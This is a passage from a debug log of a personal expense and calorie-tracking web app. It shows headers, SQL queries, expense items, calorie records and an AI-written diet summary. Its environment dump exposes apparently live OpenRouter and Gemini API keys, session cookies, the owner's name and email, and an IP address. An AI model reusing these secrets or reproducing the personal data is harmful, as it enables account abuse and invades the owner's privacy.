    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T06:14:38.644Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-20T06:14:40.746Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T06:14:40.747Z server-connect:app Executing action step identify
2025-12-20T06:14:40.747Z server-connect:app options: { provider: 'security' }
2025-12-20T06:14:40.747Z server-connect:output identity: 1
2025-12-20T06:14:40.747Z server-connect:app Executing action step restrict
2025-12-20T06:14:40.747Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T06:14:40.748Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T06:14:40.749Z server-connect:output restrict: undefined
2025-12-20T06:14:40.749Z server-connect:app Executing action step single
2025-12-20T06:14:40.749Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T06:14:40.750Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T06:14:40.750Z server-connect:app Executing action step identify
2025-12-20T06:14:40.750Z server-connect:app options: { provider: 'security' }
2025-12-20T06:14:40.750Z server-connect:output identity: 1
2025-12-20T06:14:40.750Z server-connect:app Executing action step restrict
2025-12-20T06:14:40.751Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T06:14:40.751Z server-connect:output restrict: undefined
2025-12-20T06:14:40.751Z server-connect:app Executing action step select
2025-12-20T06:14:40.751Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T06:14:40.754Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T06:14:42.373Z server-connect:router Serving templateView /calorie-tracker
2025-12-20T06:14:42.374Z server-connect:app Executing action step identify
2025-12-20T06:14:42.374Z server-connect:app options: { provider: 'security' }
2025-12-20T06:14:42.374Z server-connect:output identity: 1
2025-12-20T06:14:42.374Z server-connect:app Executing action step restrict
2025-12-20T06:14:42.374Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T06:14:42.374Z server-connect:output restrict: undefined
2025-12-20T06:14:42.374Z server-connect:router Render template calorie-tracker
2025-12-20T06:14:42.375Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T06:14:38.738Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-20T06:14:42.581Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T06:14:42.581Z server-connect:app Executing action step identify
2025-12-20T06:14:42.582Z server-connect:app options: { provider: 'security' }
2025-12-20T06:14:42.582Z server-connect:output identity: 1
2025-12-20T06:14:42.582Z server-connect:app Executing action step restrict
2025-12-20T06:14:42.582Z server-connect:app options: { provider: 'security' }
2025-12-20T06:14:42.582Z server-connect:output restrict: undefined
2025-12-20T06:14:42.582Z server-connect:app Executing action step single
2025-12-20T06:14:42.582Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T06:14:42.583Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-20T06:14:42.583Z server-connect:output summary: {
  summary: {
    rating: 4,
    summary: "The day's intake appears to be quite limited, with a focus on protein from paneer and whey. While protein is present, the overall food variety and volume seem insufficient for optimal recovery and muscle development, especially given the consistent gym routine. The recent weight trend shows a gradual decrease, suggesting the current approach is leading to some fat loss.",
    bad_points: [
      'Very limited food variety, lacking essential micronutrients and fiber.',
      'Overall food volume seems low, potentially impacting energy levels and muscle building.',
      'Absence of complex carbohydrates and vegetables for sustained energy and recovery.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout supports muscle recovery.',
      'Paneer provides a good source of protein and fats.'
    ],
    suggestions: [
      'Incorporate a balanced meal with complex carbohydrates (like rice or roti) and a generous portion of vegetables.',
      'Add more protein sources throughout the day to support muscle development.',
      'Ensure adequate hydration by drinking plenty of water.',
      'Consider adding fruits for vitamins and fiber.'
    ],
    predicted_weight: 69.7,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-19T18:30:00.000Z'
}
2025-12-20T06:14:42.584Z server-connect:app Executing action step identify
2025-12-20T06:14:42.584Z server-connect:app options: { provider: 'security' }
2025-12-20T06:14:42.584Z server-connect:output identity: 1
2025-12-20T06:14:42.584Z server-connect:app Executing action step restrict
2025-12-20T06:14:42.584Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T06:14:42.585Z server-connect:output restrict: undefined
2025-12-20T06:14:42.585Z server-connect:app Executing action step single
2025-12-20T06:14:42.585Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-20T06:14:42.586Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-20T06:14:42.586Z server-connect:app Executing action step select
2025-12-20T06:14:42.586Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-20T06:14:42.588Z server-connect:output item_list: [
  {
    id: 460,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea,BCAA supplements (calorie-free)',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 2,
    skip_reason: "Pre-workouts vary greatly in ingredients and calorie content. Some can contain significant amounts of sugar or artificial sweeteners, and their effectiveness for muscle development can be debated. While generally safe, it's good to be mindful of what's in your specific pre-workout."
  },
  {
    id: 461,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm',
    replacements: 'Tofu (firm or extra-firm),Low-fat cottage cheese,Chicken breast,Egg whites',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 1,
    skip_reason: "Paneer is a good source of protein and fat, essential for muscle development. While it's relatively high in calories and fat, in moderation and as part of a balanced diet, it's beneficial for your goals."
  },
  {
    id: 462,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Plant-based protein (pea, rice, soy - can be lower calorie depending on brand)',
    created_at: '2025-12-20T00:11:33.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  }
]
2025-12-20T06:14:42.588Z server-connect:app Executing action step setvalue
2025-12-20T06:14:42.588Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-20T06:14:42.588Z server-connect:output var_total: 472
2025-12-20T06:14:42.588Z server-connect:app Executing action step setvalue
2025-12-20T06:14:42.588Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-20T06:14:42.588Z server-connect:output var_consumed: 20
2025-12-20T06:14:42.588Z server-connect:app Executing action step setvalue
2025-12-20T06:14:42.588Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-20T06:14:42.588Z server-connect:output var_deficit: 1928
2025-12-20T06:14:42.588Z server-connect:app Executing action step custom
2025-12-20T06:14:42.588Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-20T06:14:42.590Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '472',
    surplus_or_deficit: '1928',
    status_flag: 2
  }
]
2025-12-20T06:14:47.130Z server-connect:app Executing action step identify
2025-12-20T06:14:47.130Z server-connect:app options: { provider: 'security' }
2025-12-20T06:14:47.130Z server-connect:output identity: 1
2025-12-20T06:14:59.972Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-20T06:14:59.973Z server-connect:app Executing action step identify
2025-12-20T06:14:59.973Z server-connect:app options: { provider: 'security' }
2025-12-20T06:14:59.973Z server-connect:output identity: 1
